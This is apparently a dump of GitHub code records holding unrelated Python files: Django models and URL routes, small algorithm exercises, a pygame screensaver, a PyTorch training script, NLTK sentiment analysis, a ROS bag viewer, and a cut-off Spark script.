_expand_children(c.xml_list()):\n                yield e\n        else:\n            yield c\n","repo_name":"hussam/racs","sub_path":"python/racs/xmlutil.py","file_name":"xmlutil.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8434962530","text":"from django.db import models\nfrom devices.models import Device\nfrom infraction_types.models import InfractionType\n\nclass PredictionModel(models.Model):\n    class TrainingState(models.TextChoices):\n        INITIALIZED = 'init', 'Initialized'\n        FIRST_COMMITTING_INFRACTION = 'committing_1', 'First committing infraction'\n        FIRST_DONE_COMMITTING_INFRACTION = 'done_committing_1', 'Done committing first infraction'\n        FIRST_NOT_COMMITTING_INFRACTION = 'not_committing_1', 'First not committing infraction'\n        FIRST_DONE_NOT_COMMITTING_INFRACTION = 'done_not_committing_1', 'First done not commimtting infraction'\n        SECOND_COMMITTING_INFRACTION = 'committing_2', 'Second committing infraction'\n        SECOND_DONE_COMMITTING_INFRACTION = 'done_committing_2', 'Done committing second infraction'\n        SECOND_NOT_COMMITTING_INFRACTION = 'not_committing_2', 'Second not committing infraction'\n        SECOND_DONE_NOT_COMMITTING_INFRACTION = 'done_not_committing_2', 'Done not commimtting second infraction'\n        TRAINED = 'trained', 'Trained'\n\n    device = models.ForeignKey(Device, on_delete=models.CASCADE)\n    infraction_type = models.ForeignKey(InfractionType, on_delete=models.CASCADE)\n    is_predicting = models.BooleanField(default=False)\n    training_state = models.CharField(\n        max_length=21,\n        choices=TrainingState.choices,\n        default=TrainingState.INITIALIZED,\n    )\n    stream_delay = models.IntegerField(default=0)\n    created_at = models.DateTimeField(auto_now_add=True)\n    updated_at = models.DateTimeField(auto_now=True)\n\n    def __str__(self):\n        return f'Detecting {self.infraction_type.infraction_type_name} on device #{self.device.serial_number}'\n","repo_name":"SafetyVision/safety-vision-platform","sub_path":"prediction_models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"6184129244","text":"k , N = map(int, input().split(' '))\n# x 값을 정해놓고 점점 늘려가면서 abcd 값을 더해 N에 가까워지면 출력\narr = []\nfor i in range(k):\n    arr.append(int(input()))\nstart = 1\nx = 0\nmin = 0\nfor i in range(k):\n    if arr[i] > min:\n        min = arr[i]\nend = min\nsum = 0\nwhile start <= end:\n    mid = (start + end) // 2\n    \n    for i in range(k):\n        if arr[i] >= mid:\n            sum += arr[i] // mid \n    if sum >= N:\n        start = mid +1\n    else:\n        end = mid -1\n    sum = 0\nprint (end)","repo_name":"shgusgh12/Python-practice","sub_path":"github/baekjoon/1654.py","file_name":"1654.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"73850953216","text":"\"\"\"POCA: CALC\n    The module with the functions to perform calculations on data sets in .../portland_crime/data_sets\n\n    These will be imported to main.py in order to provide feedback to the user.\n\"\"\"\n\nfrom control_flow import pause_clear\nimport config\nimport main\nfrom collections import (Counter, defaultdict)\n\n\ndef data_max(data, check_type):\n    \"\"\"\n    Returns the max() of the search terms for each year of selected data.\n    \"\"\"\n\n    data_dict = defaultdict(list)\n\n    for eachkey in data:\n        for incident in data[eachkey]:\n            data_dict[eachkey].append(getattr(incident, check_type))\n\n        c = Counter(data_dict[eachkey])\n        print(\"The most common {} in {} was {} with {} incidents.\".format(check_type, eachkey, c.most_common()[0][0], c.most_common()[0][1]))\n\n    pause_clear()\n\n    return_dict[check_type]()\n\n\ndef data_min(data, check_type):\n    \"\"\"\n    Returns the max() of the search terms for each year of selected data.\n    \"\"\"\n\n    data_dict = defaultdict(list)\n\n    for eachkey in data:\n        for incident in data[eachkey]:\n            data_dict[eachkey].append(getattr(incident, check_type))\n\n        c = Counter(data_dict[eachkey])\n        print(\"The least common {} in {} was {} with {} incidents.\".format(check_type, eachkey, c.most_common()[-1][0], c.most_common()[-1][1]))\n\n    pause_clear()\n\n    return_dict[check_type]()\n\n\ndef data_average(data, check_type):\n    \"\"\"\n    Returns the average of data for the selected check_type over the selected data years.\n    \"\"\"\n\n    data_dict = defaultdict(list)\n\n    for eachkey in data:\n        for incident in data[eachkey]:\n            data_dict[eachkey].append(getattr(incident, check_type))\n\n        c = Counter(data_dict[eachkey])\n        print(\"The  common {} in {} was {} with {} incidents.\".format(check_type, eachkey, c.most_common()[-1][0],\n                                                                           c.most_common()[-1][1]))\n    #   The average number of (larceny) incidents across the year(s) (2000, 2001, 2002) was (1200).\n    pause_clear()\n\n    return_dict[check_type]()\n\n\ndef by_date():\n    \"\"\"\n    Menu to calculate certain information oriented by date.\n    \"\"\"\n\n    calc_functions = {1: data_min, 2: data_max, 3: data_average}\n\n    calc_choice = calc_options_menu()\n\n    if calc_choice == 4:\n        main.main_menu()\n    else:\n        calc_functions[calc_choice](config.DATA, 'ReportDate')\n\n\ndef by_time():\n    \"\"\"\n    Menu to calculate certain information oriented by time of day.\n    \"\"\"\n\n    # for dataset_key in data.keys():\n    #     data = sorted(data[dataset_key], key=sort_by_offense_helper)\n\n    calc_functions = {1: data_min, 2: data_max, 3: data_average}\n\n    calc_choice = calc_options_menu()\n\n    if calc_choice == 4:\n        main.main_menu()\n    else:\n        calc_functions[calc_choice](config.DATA, 'ReportTime')\n\n\ndef by_offense():\n    \"\"\"\n    Menu to calculate certain information oriented by offense type.\n    \"\"\"\n\n    calc_functions = {1: data_min, 2: data_max, 3: data_average}\n\n    calc_choice = calc_options_menu()\n\n    if calc_choice == 4:\n        main.main_menu()\n    else:\n        calc_functions[calc_choice](config.DATA, 'MajorOffenseType')\n\n\ndef by_address():\n    \"\"\"\n    Menu to calculate certain information oriented by address.\n    \"\"\"\n\n    calc_functions = {1: data_min, 2: data_max, 3: data_average}\n\n    calc_choice = calc_options_menu()\n\n    if calc_choice == 4:\n        main.main_menu()\n    else:\n        calc_functions[calc_choice](config.DATA, 'Address')\n\n\ndef by_neighborhood():\n    \"\"\"\n    Menu to calculate certain information oriented by neighborhood.\n    \"\"\"\n\n    calc_functions = {1: data_min, 2: data_max, 3: data_average}\n\n    calc_choice = calc_options_menu()\n\n    if calc_choice == 4:\n        main.main_menu()\n    else:\n        calc_functions[calc_choice](config.DATA, 'Neighborhood')\n\n\ndef by_precinct():\n    \"\"\"\n    Menu to calculate certain information oriented by police precinct and district.\n    \"\"\"\n\n    pass\n\n\ndef calc_options_menu():\n    \"\"\"\n    Prints a menu for a variety of calculation options and returns the choice of the option.\n    \"\"\"\n\n\n    calc_options = {1: 'Min', 2: 'Max', 3: 'Average', 4: 'Back'}\n    print()\n    for copt_key, copt_value in calc_options.items():\n        print(\"{}: {}\".format(copt_key, copt_value))\n\n    print(\"Which one do you want?\")\n    try:\n        copt_choice = int(input(\">>> \"))\n        if copt_choice in calc_options.keys():\n            return copt_choice\n        else:\n            print(\"Invalid choice. Please enter the number next to the selection you want.\")\n            calc_options_menu()\n            return int(copt_choice)\n    except ValueError:\n        print(\"Invalid choice. Please enter the number next to the selection you want.\")\n        calc_options_menu()\n    finally:\n        return int(copt_choice)\n\n\nreturn_dict = {'ReportDate': by_date, 'ReportTime': by_time, 'MajorOffenseType': by_offense,\n               'Address': by_address, 'Neighborhood': by_neighborhood}\n\n# TODO: Make functions to perform calculations on data.\n","repo_name":"awarnes/portland_crime","sub_path":"calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":5052,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"29297440522","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('clubs', '0048_club_logo'),\n        ('activities', '0031_remove_invitation_registered_students'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='invitation',\n            name='club',\n            field=models.ForeignKey(blank=True, to='clubs.Club', null=True),\n        ),\n    ]\n","repo_name":"enjaz/enjaz","sub_path":"activities/migrations/0032_invitation_club.py","file_name":"0032_invitation_club.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"79"}
+{"seq_id":"2727643328","text":"#!/usr/bin/python3\n\nfrom linkedlist import Linkedlist\n\ndef binary_search(list,target):\n   find = 0\n   target_not_found = 0\n\n   while find == 0 and target_not_found == 0:\n     size = list.size()\n     if size == 1:\n       if list.head.data == target:\n          find = 1\n       else:\n          target_not_found = 1\n     mid = size // 2\n     mid_node = list.find_node(mid)\n     if mid_node.data == target:\n       find = 1\n     else:\n       if mid_node.data > target:\n          end = mid - 1\n          last_node = list.find_node(end)\n          last_node.next_node = None\n\n       else:\n          first = mid + 1\n          first_node = list.find_node(first)\n          if first_node != None:\n            list.head = first_node\n          else:\n            target_not_found = 1\n\n   if target_not_found == 1:\n        find = 0\n   if find == 0:\n     find = False\n   else:\n      find = True     \n\n   return find\n   \n\n\nl = Linkedlist()\nl.add(180)\nl.add(100)\nl.add(74)\nl.add(55)\nl.add(30)\nl.add(1)\nl.add(0)\nresult = binary_search(l,30)\nprint(result)\n   \n","repo_name":"automationlearner17/algorithm-and-data-structure","sub_path":"data_structures/linked_list_binary_search.py","file_name":"linked_list_binary_search.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"21931781885","text":"import pygame\nimport random\nimport math\n\nSCREEN_DIM = (800, 600)\n\n\nclass Vec2d:\n\n    def __init__(self, pair, y=None):\n        if y is None:\n            self.x = pair[0]\n            self.y = pair[1]\n        else:\n            self.x = pair\n            self.y = y\n\n    def __add__(self, other):\n        return Vec2d(self.x + other.x, self.y + other.y)\n\n    def __sub__(self, other):\n        return Vec2d(self.x - other.x, self.y - other.y)\n\n    def __mul__(self, other):\n        return Vec2d(self.x * other, self.y * other)\n\n    def __len__(self):\n        return math.sqrt(self.x ** 2 + self.y ** 2)\n\n    def int_pair(self):\n        return (int(self.x), int(self.y))\n\n\nclass Polyline:\n\n    def __init__(self):\n        self.points = []\n        self.speeds = []\n\n    def add_point_speed(self, point, speed):\n        self.points.append(point)\n        self.speeds.append(speed)\n\n    def set_points(self):\n        for p in range(len(self.points)):\n            self.points[p] += self.speeds[p]\n            if self.points[p].x > SCREEN_DIM[0] or self.points[p].x < 0:\n                self.speeds[p] = Vec2d(-self.speeds[p].x, self.speeds[p].y)\n            if self.points[p].y > SCREEN_DIM[1] or self.points[p].y < 0:\n                self.speeds[p] = Vec2d(self.speeds[p].x, -self.speeds[p].y)\n\n    def draw_points(self, points, width=3, color=(255, 255, 255)):\n        for p in points:\n            pygame.draw.circle(gameDisplay, color, p.int_pair(), width)\n\n\nclass Knot(Polyline):\n\n    def __init__(self, count):\n        super(Knot, self).__init__()\n        self.count = count\n\n    def add_point_speed(self, point, speed):\n        super(Knot, self).add_point_speed(point, speed)\n        self.get_knot()\n\n    def set_points(self):\n        super(Knot, self).set_points()\n        self.get_knot()\n\n    def get_point(self, points, alpha, deg=None):\n        if deg is None:\n            deg = len(points) - 1\n        if deg == 0:\n            return points[0]\n        return (points[deg] * alpha + self.get_point(points, alpha, deg - 1) * (1 - alpha))\n\n    def get_points(self, base_points):\n        alpha = 1 / self.count\n        res = []\n        for i in range(self.count):\n            res.append(self.get_point(base_points, i * alpha))\n        return res\n\n    def draw_points(self, points, width=3, color=(255, 255, 255)):\n        for p_n in range(-1, len(points) - 1):\n            pygame.draw.line(gameDisplay, color, points[p_n].int_pair(), points[p_n + 1].int_pair(), width)\n\n    def get_knot(self):\n        if len(self.points) < 3:\n            return []\n        res = []\n        for i in range(-2, len(self.points) - 2):\n            ptn = []\n            ptn.append((self.points[i] + self.points[i + 1]) * 0.5)\n            ptn.append(self.points[i + 1])\n            ptn.append((self.points[i + 1] + self.points[i + 2]) * 0.5)\n            res.extend(self.get_points(ptn))\n        return res\n\n\ndef draw_help():\n    gameDisplay.fill((50, 50, 50))\n    font1 = pygame.font.SysFont(\"courier\", 24)\n    font2 = pygame.font.SysFont(\"serif\", 24)\n    data = []\n    data.append([\"F1\", \"Show Help\"])\n    data.append([\"R\", \"Restart\"])\n    data.append([\"P\", \"Pause/Play\"])\n    data.append([\"Num+\", \"More points\"])\n    data.append([\"Num-\", \"Less points\"])\n    data.append([\"\", \"\"])\n    data.append([str(steps), \"Current points\"])\n    data.append([\"\", \"\"])\n    data.append([\"N\", \"New curve\"])\n    data.append([\"F\", \"Faster\"])\n    data.append([\"S\", \"Slower\"])\n\n    pygame.draw.lines(gameDisplay, (255, 50, 50, 255), True, [\n        (0, 0), (800, 0), (800, 600), (0, 600)], 5)\n    for i, text in enumerate(data):\n        gameDisplay.blit(font1.render(\n            text[0], True, (128, 128, 255)), (100, 100 + 30 * i))\n        gameDisplay.blit(font2.render(\n            text[1], True, (128, 128, 255)), (200, 100 + 30 * i))\n\n\nif __name__ == \"__main__\":\n    pygame.init()\n    gameDisplay = pygame.display.set_mode(SCREEN_DIM)\n    pygame.display.set_caption(\"MyScreenSaver\")\n\n    steps = 35\n    working = True\n    polyline = Polyline()\n    knots = [Knot(steps)]\n    show_help = False\n    pause = True\n    hue = 0\n    color = pygame.Color(0)\n\n    while working:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                working = False\n            if event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_ESCAPE:\n                    working = False\n                if event.key == pygame.K_r:\n                    polyline = Polyline()\n                    knots = [Knot(steps)]\n                if event.key == pygame.K_p:\n                    pause = not pause\n                if event.key == pygame.K_KP_PLUS:\n                    steps += 1\n                if event.key == pygame.K_F1:\n                    show_help = not show_help\n                if event.key == pygame.K_KP_MINUS:\n                    steps -= 1 if steps > 1 else 0\n                if event.key == pygame.K_n:\n                    knots.append(Knot(steps))\n                if event.key == pygame.K_f:\n                    for knot in knots:\n                        for speed_index in range(len(knot.speeds)):\n                            knot.speeds[speed_index] = (knot.speeds[speed_index] * 3)\n                if event.key == pygame.K_s:\n                    for knot in knots:\n                        for speed_index in range(len(knot.speeds)):\n                            knot.speeds[speed_index] = (knot.speeds[speed_index] * 0.2)\n\n            if event.type == pygame.MOUSEBUTTONDOWN:\n                polyline.add_point_speed(Vec2d(event.pos), Vec2d(random.random() * 2, random.random() * 2))\n                knots[-1].add_point_speed(Vec2d(event.pos), Vec2d(random.random() * 2, random.random() * 2))\n\n        gameDisplay.fill((0, 0, 0))\n        hue = (hue + 1) % 360\n        color.hsla = (hue, 100, 50, 100)\n        polyline.draw_points(polyline.points)\n        for knot in knots:\n            knot.draw_points(knot.get_knot(), 3, color)\n        if not pause:\n            polyline.set_points()\n            for knot in knots:\n                knot.set_points()\n        if show_help:\n            draw_help()\n\n        pygame.display.flip()\n\n    pygame.display.quit()\n    pygame.quit()\n    exit(0)\n\n\n# Реализовать возможность удаления «опорной» точки из кривой","repo_name":"192117/oop_and_patterns_in_python","sub_path":"week2/w2e2.py","file_name":"w2e2.py","file_ext":"py","file_size_in_byte":6301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"35339371442","text":"import argparse\n\nimport mlflow\nimport torch\nfrom aml import CropSegChipsDataModule\nfrom models import ModelPlusSigmoid, SegmentationModel\nfrom pytorch_lightning import Trainer\n\n\ndef parse_args():\n    # setup arg parser\n    parser = argparse.ArgumentParser()\n\n    # add arguments\n    parser.add_argument(\"--dataset\", type=str)\n    parser.add_argument(\"--onnx_model_path\", type=str)\n    parser.add_argument(\"--model_dir\", type=str, default=\"./\")\n    parser.add_argument(\"--ndvi_stack_bands\", type=int, default=37)\n    parser.add_argument(\"--batch_size\", type=int, default=16)\n    parser.add_argument(\"--max_epochs\", type=int, default=10)\n    parser.add_argument(\"--learning_rate\", type=float, default=0.001)\n    parser.add_argument(\"--weight_decay\", type=float, default=0.001)\n    parser.add_argument(\"--num_workers\", type=int, default=4)\n    parser.add_argument(\"--num_gpus\", type=int, default=1)\n\n    # parse args\n    args = parser.parse_args()\n\n    # return args\n    return args\n\n\ndef main(args: argparse.Namespace):\n    # Setup DataLoader\n    data = CropSegChipsDataModule(\n        data_dir=args.dataset, batch_size=args.batch_size, num_workers=args.num_workers\n    )\n    data.setup()\n\n    # Setup Segmentation Model\n    model = SegmentationModel(\n        lr=args.learning_rate,\n        weight_decay=args.weight_decay,\n        in_channels=args.ndvi_stack_bands,\n        num_epochs=args.max_epochs,\n        classes=1,\n    )\n\n    # Enables logging\n    mlflow.pytorch.autolog(log_models=False)\n\n    # Train\n    trainer = Trainer(max_epochs=args.max_epochs, accelerator=\"gpu\", devices=args.num_gpus)\n    trainer.fit(model, data)\n\n    # Signature\n    batch = next(iter(data.train_dataloader()))\n    ndvi_batch = batch[\"image\"]\n    ndvi_sample = ndvi_batch[0:1, :, :, :].numpy()\n\n    # Set model to inference mode before exporting to ONNX\n    trace_model = ModelPlusSigmoid(model).eval()\n    dummy_input = torch.randn(\n        args.batch_size, args.ndvi_stack_bands, ndvi_sample.shape[-2], ndvi_sample.shape[-1]\n    )\n\n    # Export the model\n    torch.onnx.export(\n        trace_model,\n        dummy_input,  # model example input\n        args.onnx_model_path,  # where to save the model (can be a file or file-like object)\n        export_params=True,  # store the trained parameter weights inside the model file\n        do_constant_folding=True,  # whether to execute constant folding for optimization\n        opset_version=11,\n        input_names=[\"ndvi_stack\"],  # the model's input names\n        output_names=[\"seg_map\"],  # the model's output names\n        dynamic_axes={\n            \"ndvi_stack\": {0: \"batch_size\"},  # variable length axes\n            \"seg_map\": {0: \"batch_size\"},\n        },\n    )\n\n    # Stop Logging\n    mlflow.end_run()\n\n\nif __name__ == \"__main__\":\n    # parse args\n    args = parse_args()\n\n    # run main function\n    main(args)\n","repo_name":"microsoft/farmvibes-ai","sub_path":"notebooks/crop_segmentation/notebook_lib/aml_train_script.py","file_name":"aml_train_script.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":549,"dataset":"github-code","pt":"79"}
+{"seq_id":"27141470013","text":"\nfrom PIL import Image\n\n# HACK workaround for upstream pillow issue python-pillow/Pillow#400\nimport sys\nfrom python_qt_binding import QT_BINDING_MODULES\nif (\n    not QT_BINDING_MODULES['QtCore'].__name__.startswith('PyQt5') and\n    'PyQt5' in sys.modules\n):\n    sys.modules['PyQt5'] = None\nfrom PIL.ImageQt import ImageQt\n\nfrom .topic_message_view import TopicMessageView\nimport image_helper\n\nfrom .sandtray_item import SandtrayItem\n\nfrom python_qt_binding.QtCore import Qt, QPointF\nfrom python_qt_binding.QtGui import QPixmap, QColor\nfrom python_qt_binding.QtWidgets import QGraphicsScene, QGraphicsView\n\n\nclass SandtrayView(TopicMessageView):\n    name = 'Sandtray'\n\n    def __init__(self, timeline, parent, topics):\n        super(SandtrayView, self).__init__(timeline, parent, topics[0])\n\n        self._items = {}\n\n        self._image = None\n        self._image_topic = None\n        self._image_stamp = None\n        self.quality = Image.NEAREST  # quality hint for scaling\n\n        self._sandtray = SandtrayItem()\n\n        self._sandtray_view = QGraphicsView(parent)\n        self._sandtray_view.resizeEvent = self._resizeEvent\n        self._scene = QGraphicsScene()\n        self._scene.addItem(self._sandtray)\n\n        self._sandtray_view.setScene(self._scene)\n        self._sandtray_view.fitInView(self._scene.itemsBoundingRect(), Qt.KeepAspectRatio)\n\n        parent.layout().addWidget(self._sandtray_view)\n\n    # MessageView implementation\n    def _resizeEvent(self, event):\n        self._sandtray_view.fitInView(self._scene.itemsBoundingRect(), Qt.KeepAspectRatio)\n\n    def message_viewed(self, bag, msg_details):\n        \"\"\"\n        render the sandtray\n        \"\"\"\n        TopicMessageView.message_viewed(self, bag, msg_details)\n        topic, msg, t = msg_details[:3]\n        if msg:\n            if topic == \"/zones\":\n                self._sandtray.update_zones(self._get_zones(msg))\n            else:\n                for t in msg.transforms:\n                    if t.header.frame_id == \"sandtray\":\n                        self._items[t.child_frame_id] = t.transform.translation.x, -t.transform.translation.y\n                self._sandtray.update(self._items)\n\n    def message_cleared(self):\n        TopicMessageView.message_cleared(self)\n        self.set_image(None, None, None)\n\n    # End MessageView implementation\n\n    def _get_zones(self, msg):\n        zones = {}\n\n        for marker in msg.markers:\n            polygon = []\n            color = QColor(255*marker.color.r, 255*marker.color.g, 255*marker.color.b, 255*marker.color.a)\n            for p in marker.points:\n                polygon.append(QPointF(p.x * SandtrayItem.scale, -p.y * SandtrayItem.scale))\n            zones.setdefault(color, []).append(polygon)\n\n        return zones\n\n    def put_image_into_scene(self):\n        if self._image:\n            QtImage = ImageQt(self._image)\n            pixmap = QPixmap.fromImage(QtImage)\n            self._scene.clear()\n            self._scene.addPixmap(pixmap)\n\n    def set_image(self, image_msg, image_topic, image_stamp):\n        self._image_msg = image_msg\n        if image_msg:\n            self._image = image_helper.imgmsg_to_pil(image_msg)\n        else:\n            self._image = None\n        self._image_topic = image_topic\n        self._image_stamp = image_stamp\n        self.put_image_into_scene()\n","repo_name":"freeplay-sandbox/analysis","sub_path":"src/freeplay_sandbox_analysis/plugins/sandtray_view.py","file_name":"sandtray_view.py","file_ext":"py","file_size_in_byte":3323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"42636125561","text":"import numpy as np\nfrom sklearn import tree\n\n\nclass RandomForest:\n    def __init__(self):\n        pass\n\n    def fit(self, X, y, k, N):\n        self.trees = []\n        for i in range(k):\n            bootstrap = np.random.choice(X.shape[0], size=N, replace=True)\n            \n            X_ = X.iloc[bootstrap]\n            y_ = y.iloc[bootstrap]\n\n            dtree = tree.DecisionTreeRegressor()\n            dtree.fit(X_, y_)\n            self.trees.append(dtree)\n\n    def predict(self, X):\n        predictions = []\n        for tree in self.trees:\n            predictions.append(tree.predict(X))\n        return np.mean(predictions, axis=0)\n\n    def score(self, X, y):\n        predictions = self.predict(X)\n        return 1 - np.sum((predictions - y)**2) / np.sum((y - np.mean(y))**2)\n","repo_name":"CeceZiegler1/ML_Final_Proj","sub_path":".ipynb_checkpoints/RandomForestRegressor-checkpoint.py","file_name":"RandomForestRegressor-checkpoint.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"42056341698","text":"# 25. - mouredev.weeklychallenge2022 #25\n\"\"\" ROCK, PAPER, SCISSORS\nCrea un programa que calcule quien gana más partidas al piedra, papel, tijera.\n- El resultado puede ser: \"Player 1\", \"Player 2\", \"Tie\" (empate)\n- La función recibe un listado que contiene pares, representando cada jugada.\n- El par puede contener combinaciones de \"R\" (piedra), \"P\" (papel) o \"S\" (tijera).\n- Ejemplo. Entrada: [(\"R\",\"S\"), (\"S\",\"R\"), (\"P\",\"S\")]. Resultado: \"Player 2\". \"\"\"\n\nVALUES = [\"R\",\"P\",\"S\"]\n\ndef game(games: list[tuple]):\n    player1PTS = 0\n    player2PTS = 0\n\n    for i in games:\n        if type(i) != tuple or len(i) != 2 or (i[0] not in VALUES) or (i[1] not in VALUES):\n            return \"error\"\n        \n        player1 = i[0]\n        player2 = i[1]\n\n        if player1 != player2:\n            #if player1 wins\n            if player1 == VALUES[0] and player2 == VALUES[2]:\n                player1PTS+=1\n            elif player1 == VALUES [2] and player2 == VALUES[1]:\n                player1PTS+=1\n            elif player1 == VALUES[1] and player2 == VALUES[0]:\n                player1PTS+=1\n            #if player2 wins\n            else:\n                player2PTS+=1  \n\n    if player1PTS == player2PTS:\n        return 'Tie'\n    elif player1PTS > player2PTS:\n        return 'Player1'\n    elif player1PTS < player2PTS:\n        return 'Player2'\n        \n\n\n# Tests\nprint(game([(\"R\", \"P\"), (\"R\", \"R\"), (\"S\", \"P\")]))\nprint(game([(\"R\", \"P\"), (\"R\", \"S\"), (\"P\", \"R\")]))\nprint(game([(\"R\", \"P\"), (\"P\", \"S\"), (\"P\", \"R\")]))\nprint(game([(0), (\"S\", \"P\"), (\"P\", \"R\"), (\"R\", \"P\")]))\nprint(game([(\"S\", \"P\"), (\"P\", \"R\"), (\"R\", \"P\"), \"R\"]))\n","repo_name":"stv-beep/coding-questions","sub_path":"Python/25RockPaperScissors.py","file_name":"25RockPaperScissors.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"22372955333","text":"from django.contrib import admin\nfrom django.urls import path\n\nfrom .views import Index, Login, Signup, home, logout, Cart, checkout, Order_View, BootstrapFilterView, Wishlist_View, \\\n    Profile, Removal_Wishlist, Removal_Cart, Transfer_from_Cart, Transfer_from_Wishlist, Rating\n\nurlpatterns = [\n    path('', home, name=\"Nostalgia_Home\"),\n    path('menu', Index.as_view(), name=\"Nostalgia_Menu\"),\n    path('signup', Signup.as_view()),\n    path('login', Login.as_view(), name='login'),\n    path('logout', logout, name='logout'),\n    path('cart', Cart.as_view(), name='cart'),\n    path('checkout', checkout, name='checkout'),\n    path('orders', Order_View.as_view(), name='orders'),\n    path('search', BootstrapFilterView, name='search'),\n    path('wishlist', Wishlist_View.as_view(), name='wishlist'),\n    path('user-profile', Profile.as_view(), name='profile'),\n    path('removal', Removal_Wishlist.as_view(), name='removal'),\n    path('removal-cart', Removal_Cart.as_view(), name='removal-cart'),\n    path('transfer', Transfer_from_Cart.as_view(), name='transfer'),\n    path('transfer-wishlist', Transfer_from_Wishlist.as_view(), name='transfer-wishlist'),\n    path('rating', Rating.as_view(), name='rating'),\n]\n","repo_name":"satyakinkohli/ashoka-ap1","sub_path":"Store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"29611664728","text":"'''\nGiven a binary tree, return the inorder traversal of its nodes' values.\n\nExample:\n\nInput: [1,null,2,3]\n   1\n    \\\n     2\n    /\n   3\n\nOutput: [1,3,2]\nFollow up: Recursive solution is trivial, could you do it iteratively?\n\n'''\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution:\n    def inorderTraversal2(self, root: TreeNode) -> List[int]:\n        '''# 2: iterate version'''\n        if not root:\n            return []\n\n        stack, res = [], []\n        pCur = root\n        while pCur or stack:  #根节点不为空，则入栈，同时将指针指向左子树，为下一次入栈左子树做准备\n            if pCur:\n                stack.append(pCur)\n                pCur = pCur.left\n            else:             #根节点为空，则出栈最后一个左树，并将该左树的右子树入栈，为下一次入栈该右子树的左子树做准备\n                node = stack.pop()\n                res.append(node.val)\n                pCur = node.right\n\n        return res\n\n    '''# 1: recursion version'''\n    def inorderTraversal(self, root: TreeNode) -> List[int]:\n        if not root:\n            return []\n\n        return self.inorderTraversal(root.left) + [root.val] + self.inorderTraversal(root.right)","repo_name":"Ricky-Hu5918/Python-Lab","sub_path":"94_Binary_Tree_Inorder_Traversal.py","file_name":"94_Binary_Tree_Inorder_Traversal.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"14627103023","text":"import operator\n\nimport nltk\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\nimport SentimentAnalisis.prep_data as p\n\nnltk.download('vader_lexicon')\n\nsid = SentimentIntensityAnalyzer()\n\n\ndef sentiment_data_collector(xml_name):\n    dictionary = {'neg': 0, 'pos': 0, 'neu': 0, 'compound': 0}\n    for sentence in p.parse_xml_for_comments(xml_name):\n        ss = sid.polarity_scores(sentence)\n        # for k in ss:\n        # print('{0}: {1}, '.format(k, ss[k]), end='')\n        # print()\n        dictionary['neg'] += ss['neg']\n        dictionary['pos'] += ss['pos']\n        # dictionary['neu'] += ss['neu']\n        # dictionary['compound'] += ss['compound']\n    main_sentiment_in_data(dictionary, xml_name)\n\n\ndef main_sentiment_in_data(stats, xml_name):\n    print('For: ' + xml_name)\n    print(stats)\n    print('Pos or neg? Answear: ' + max(stats.items(), key=operator.itemgetter(1))[0])\n\n\n#autotagger - treningowe z datadamp\n\nsentiment_data_collector('Comments beer.xml')\nsentiment_data_collector('Comments crypto.xml')\nsentiment_data_collector('Comments android.xml')\n","repo_name":"Belfegor8625/WebMiningProject","sub_path":"SentimentAnalisis/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"34725475691","text":"\r\n\r\n                        #********************************************************************************#\r\n                        #                                                                                #\r\n                        #                                  нεℓℓσ,вαтεs!                                  #\r\n                        #                                                                                #\r\n                        #   filename: script_silver                                                      #\r\n                        #   created: 2022-05-22                                                          #\r\n                        #   system: Windows                                                              #\r\n                        #   version: 64bit                                                               #\r\n                        #                                       by: Bates <https://github.com/batestin1> #\r\n                        #********************************************************************************#\r\n                        #                           import your librarys below                           #\r\n                        #********************************************************************************#\r\nfrom pyspark.sql import SparkSession\r\nfrom pyspark.sql.functions import max as max_\r\n\r\n\r\npath_parametros=\"/home/bates/repositorio/big_data/one_piece/parameters/data.json\"\r\n\r\nspark = SparkSession.builder.master(\"local[1]\").appName(\"local\").getOrCreate()\r\n\r\ndf_parar=spark.read.json(path_parametros)\r\nconfig_spark_mongo = df_parar.agg(max_(\"config_spark_mongo\")).collect()[0][0]\r\npackage_config_spark = df_parar.agg(max_(\"package_config_spark\")).collect()[0][0]\r\nuri = df_parar.agg(max_(\"uri\")).collect()[0][0]\r\nmode = df_parar.agg(max_(\"mode\")).collect()[0][0]\r\nformat = 